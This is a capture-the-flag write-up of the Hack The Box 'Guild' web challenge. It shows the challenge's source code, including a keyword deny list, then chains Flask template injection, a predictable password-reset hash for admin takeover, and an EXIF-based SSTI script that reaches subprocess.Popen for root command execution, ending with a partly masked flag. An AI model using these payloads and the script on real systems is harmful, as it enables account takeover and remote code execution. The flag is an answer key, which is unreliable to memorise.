Guild
* 🌐 Website: HackTheBox¶
- 🔥 Level: Easy
 - 📚 Category: Web
 - 🔗 Link: Guild
 
📜 Description¶
📋 Walkthrough¶
We go to the website 
It looks like a game-based site. Let’s try to register and log in. On the home page it’s possible to upload a file at the URL /verification.

I uploaded an image file for testing. It says the file has been sent to the GameMaster. In the profile it’s possible to set a Bio. Maybe there’s XSS? Let’s try.
If I put a classic payload it says:
Let’s see what’s inside the source code available in the challenge. There’s a function that verifies files:
ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg"}
def allowed_file(filename):
    return "." in filename and \
           filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS
And also a function that filters words in the bio:
    payloads = [
        "*",
        "script",
        "alert",
        "debug",
        "%",
        "include",
        "html",
        "if",
        "for",
        "config",
        "img",
        "src",
        ".py",
        "main",
        "herf",
        "pre",
        "class",
        "subclass",
        "base",
        "mro",
        "__",
        "[",
        "]",
        "def",
        "return",
        "self",
        "os",
        "popen",
        "init",
        "globals",
        "base",
        "class",
        "request",
        "attr",
        "args",
        "eval",
        "newInstance",
        "getEngineByName",
        "getClass",
        "join"
    ]
This function takes the file name, splits it on the ., and checks if the second occurrence is a png, jpg, or jpeg. This means files like .png.py are allowed. There are also functions pointing to pages not visible from the menu:
@views.route("/getlink")
@login_required
def create_share():
    username = current_user.username
    query = Validlinks.query.filter_by(validlink=username).first()
    if query:
        pass 
    else:
        new_query = Validlinks(email=current_user.email, validlink=current_user.username)
        db.session.add(new_query)
        db.session.commit()
    link = "/user/" + str(current_user.username)
    return render_template("getlink.html", link=link, user=current_user)
@views.route("/user/<link>")
def share(link):
    query = Validlinks.query.filter_by(validlink=link).first()
    if query:
        email = query.email
        query1 = User.query.filter_by(email=email).first()
        bio = Verification.query.filter_by(user_id=query1.id).first().bio
        temp = open("/app/website/templates/newtemplate/shareprofile.html", "r").read()
        return render_template_string(temp % bio, User=User, Email=email, username=query1.username)
In this function share takes the bio and renders it without sanitization. This could be vulnerable to SSTI. Going first to /getlink and then to /user/aab I found the description:
Let’s try a payload like {{ 7/7 }}
It works! Now we need to find a way to get the flag. Let’s try to get the admin password:
{{ User.query.filter_by(username="admin").first().password }}
scrypt:32768:8:1$XRU4up4fTHzVRMAQ$0988582c51303a334d1f1fd80224cbb98f55b0426d55eedf101c15d0c99b5f461b87e8c352c388bbc54f1c82eebfb9ba3c267c366f10ce229fb4c8437f7fa62b
If we have the email, we can change the password:
Let’s check the reset password function:
@views.route("/forgetpassword", methods=["GET", "POST"])
def forgetpassword():
    if request.method == "POST":
        email = request.form.get("email")
        query = User.query.filter_by(email=email).first()
        flash("If email is registered then you will get a link to reset password!", category="success")
        if query:
            # send email the below link
            reset_url = str(hashlib.sha256(email.encode()).hexdigest())
            print(reset_url)
            new_query = Validlinks(email=email, validlink=reset_url)
            db.session.add(new_query)
            db.session.commit()
        return redirect(url_for("views.home"))
    return render_template("forgetpassword.html", user=current_user)
As we can see, it creates a new link from the encoded email. Let’s calculate it:
>>> email = "51465353746b6131@master.guild"
>>> import hashlib
>>> str(hashlib.sha256(email.encode()).hexdigest())
'c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0'
>>> 
Now let’s see what happens next:
@views.route("/changepasswd/<Hash>",methods=["GET", "POST"])
def changepasswd(Hash):
    query = Validlinks.query.filter_by(validlink=Hash).first()
    if query:
        if request.method == "POST":
            email = query.email
            query1 = User.query.filter_by(email=email).first()
            new_password = request.form.get("password")
            query1.password = generate_password_hash(new_password, method="sha256")
            db.session.commit()
            db.session.delete(query)
            db.session.commit()
            flash("Password Updated!",category="success")
            redirect(url_for("views.home"))
        return render_template("resetpassword.html", user=current_user, email=query.email)
So we need to follow these steps:
- Calculate the hash: 
c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0 - Request password reset for 
51465353746b6131@master.guild - Go to 
/changepasswd/c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0and change the password 

Logging into the site as admin we find the submitted requests, but none verify correctly. Let’s see what /verify does:
def verify():
    if current_user.username == "admin":
        if request.method == "POST":
            user_id = request.form.get("user_id")
            verf_id = request.form.get("verification_id")
            query = Verification.query.filter_by(id=verf_id).first()
            img = Image.open(query.doc)
            exif_table={}
            for k, v in img.getexif().items():
                tag = TAGS.get(k)
                exif_table[tag]=v
            if "Artist" in exif_table.keys():
                sec_code = exif_table["Artist"]
                query.verified = 1
                db.session.commit()
                return render_template_string("Verified! {}".format(sec_code))
            else:
                return render_template_string("Not Verified! :(")
    else:
        flash("Oops", category="error")
        return redirect(url_for("views.home"))
Ok, to pass it must contain the field Artist in the exif data. Let’s do it:
Let’s create a new user and verify ourselves. When we get verified, the author is reflected in the browser without SSTI filters. We can try to do a cat /flag.txt. To make it faster, I wrote a Python script to automate registration, login, exif modification, upload, admin login, and verification.
import requests
import piexif
from PIL import Image
import random
url = "http://94.237.121.82:36845/"
file = "cat.jpg"
admin_session = requests.Session()
admin_session.post(
    url + "/login",
    verify=False,
    data={"username": "admin", "password": "aaa"}
)
def signup(userpass):
    s = requests.Session()
    requests.post(
        url + "/signup",
        verify=False,
        data={"username": userpass, "email": f"{userpass}@aa.com", "password": userpass}
    )
    s.post(
        url + "/login",
        verify=False,
        data={"username": userpass, "password": userpass}
    )
    return s
# Edit artist in exif named "Artist"
def edit_exif(file, cmd):
    img = Image.open(file)
    exif_dict = piexif.load(img.info.get("exif", b""))
    exif_dict['0th'][315] = cmd.encode()  # 315 = tag Artist
    exif_bytes = piexif.dump(exif_dict)
    img.save(file, "jpeg", exif=exif_bytes)  # sovrascrive il file originale
    return file
def verify(id):
    r = admin_session.post(
        url + "/verify",
        verify=False,
        data={"user_id": id, "verification_id": id - 1}
    )
    return r.text
def upload_image(s, file):
    with open(file, "rb") as f:
        files = {"file": (file, f, "image/jpeg")}
        r = s.post(url + "/verification", files=files)
    return r.text
i = 2
while True:
    cmd = input("> ")
    if cmd == "exit":
        break
    # Signup
    s = signup(str(random.randint(100000, 999999)))
    # Edit exif
    new_file = edit_exif(file, cmd)
    # Upload
    print(upload_image(s, new_file))
    # Verify
    r = admin_session.post(
        url + "/verify",
        verify=False,
        data={"user_id": i, "verification_id": i - 1}
    )
    print(r.text.replace("Verified! ", ""))
    i += 1
Example run:
Now I can inject code through SSTI more easily. Let’s find Popen:
In my case Popen is at 527.
> {{''.__class__.__base__.__subclasses__()[527]}}
<class 'subprocess.Popen'>
> {{''.__class__.__base__.__subclasses__()[527]('cmd', shell=True, stdout=-1).communicate()}}
Now we can try to read the flag. I edited the script to make commands easier:
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ python3 script.py
> whoami
(b'root\n', None)
> ls
(b'flag.txt\nguild\ninstance\nmain.py\nrequirements.txt\nwebsite\n', None)
> cat flag.txt
(b'****', None)
Answer
HTB{mult1pl3_lo0p5_mult1pl3_h0les_***}